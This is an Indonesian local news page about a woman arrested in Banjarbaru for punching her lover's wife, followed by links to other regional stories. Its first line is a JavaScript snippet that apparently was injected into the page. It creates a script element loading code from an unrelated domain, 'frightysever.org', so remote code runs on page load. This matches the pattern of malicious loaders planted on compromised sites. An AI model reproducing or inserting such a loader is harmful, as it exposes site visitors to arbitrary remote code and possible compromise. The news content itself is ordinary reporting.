(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Main Jotos Istri Selingkuhan, Perempuan di Guntung Manggis Masuk Bui Polsek Liang Anggang


KANALKALIMANTAN.COM, BANJARBARU – Diduga berlatar belakang jalinan asmara pasangan selingkuh, NH (34) dibawa ke Polsek Liang Anggang, Kota Banjarbaru, setelah menjotos istri sah dari selingkuhannya.

NH (34) dilaporkan menjotos istri sah selingkuhan, akibatnya korban mengalami bengkak di bagian mata sebelah kiri, ketika sang suami bersama NH didatangi di sebuah rumah.

Kapolsek Liang Anggang, AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi kejadian tersebut dilaporkan orangtua korban ke Polsek Liang Anggang.

“Ibu korban warga Jalan Kenanga RT 006 RW 009 Landasan Ulin melaporkan ke Polsek Liang Anggang atas kejadian penganiayaan terhadap anaknya,” ujar Kasi Humas Polsek Liang Anggang, Jumat (12/8/2022) siang.

 

Baca juga  : Festival Kelotok Hias, Upaya Bangkitkan Wisata Budaya Pasar Terapung

Aipda Kardi menambahkan, seorang istri sah menjadi korban penganiayaan ketika melabrak suaminya yang berselingkuh dengan NH (34) di Jalan Sungai Salak RT 033 RW 005, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, beberapa waktu lalu.

“Karena NH (34) diduga mempunyai hubungan asmara dengan suaminya, korban mendatangi keduanya, dan sempat cekcok, lalu terjadi pemukulan itu,” ujar Aipda Kardi.

Perkelahian tak terelakan, disebutkan Aipda Kardi, akibat perkelahian itu istri sah menjadi korban dan harus dilarikan ke RS Syifa Medika karena mengalami bengkak di bagian mata sebelah kiri.

Setelah menerima laporan ibu korban, Polsek Liang Anggang langsung menerjunkan Macan Barbar dipimpin Aiptu Deden A Lesmana dan berhasil meringkus NH (34) di Jalan Sungai Salak RT 033 RW 005 Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.

 

Baca juga  : Saat Kelotok Bersolek Sambut Hari Jadi Kalimantan Selatan ke-72

NH kemudian dibawa ke Polsek Liang Anggang guna proses hukum lebih lanjut.

“Proses hukum berlanjut, pelaku dijerat dengan Pasal 351 KUHP,” tuntas Aipda Kardi.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

3 menit ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

43 menit ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

1 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

1 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

2 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

5 jam ago

This website uses cookies.